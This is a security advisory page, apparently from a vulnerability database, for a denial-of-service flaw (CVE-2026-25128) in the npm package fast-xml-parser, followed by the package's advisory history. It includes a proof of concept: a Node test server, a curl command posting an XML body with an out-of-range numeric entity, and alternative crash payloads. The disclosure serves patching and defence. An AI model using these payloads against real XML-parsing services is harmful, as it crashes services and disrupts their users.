Alta

fast-xml-parser has RangeError DoS Numeric Entities Bug

Publicada: 30.01.2026
Actualizado: 11.10.2026 10:22

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999
[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

bash

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

xml

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads
File processors parsing uploaded XML files
Message queues consuming XML messages
RSS/Atom feed parsers
SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	fast-xml-parser	>= 5.0.9, < 5.3.4	5.3.4

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-20, CWE-248
Plataforma: npm
Paquete: fast-xml-parser
Publicada: 30.01.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-37qj-frw5-hhjh - CC BY 4.0

Historial de vulnerabilidades: fast-xml-parser

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (12) en el archivo

Entradas en total: 12
Primera → última: 08.2021 07.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 1
Alta 6
Media 3
Baja 2

Divulgaciones por año

2021: 1
2022: 0
2023: 2
2024: 1
2025: 0
2026: 8

21.07.2026

fast-xml-parser: Repeated DOCTYPE declarations reset entity expansion limits

Alta CVE-2026-73569 >= 5.9.3, < 5.10.1 5.10.1
17.03.2026

fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

Alta · 7.5 CVE-2026-33036 >= 5.0.0, < 5.5.6, >= 4.0.0-beta.3, < 4.5.5 5.5.6, 4.5.5
20.02.2026

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

Crítica · 9.3 CVE-2026-25896 >= 5.0.0, < 5.3.5, >= 4.1.3, < 4.5.4 5.3.5, 4.5.4
17.02.2026

fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

Alta · 7.5 CVE-2026-26278 >= 4.1.3, < 4.5.4, >= 5.0.0, < 5.3.6 4.5.4, 5.3.6
30.01.2026

fast-xml-parser has RangeError DoS Numeric Entities Bug esta entrada

Alta · 7.5 CVE-2026-25128 >= 5.0.9, < 5.3.4 5.3.4
29.07.2024

fast-xml-parser vulnerable to ReDOS at currency parsing

Alta · 7.5 CVE-2024-41818 >= 4.3.5, < 4.4.1 4.4.1
06.06.2023

fast-xml-parser vulnerable to Regex Injection via Doctype Entities

Alta · 7.5 CVE-2023-34104 >= 4.1.3, < 4.2.4 4.2.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación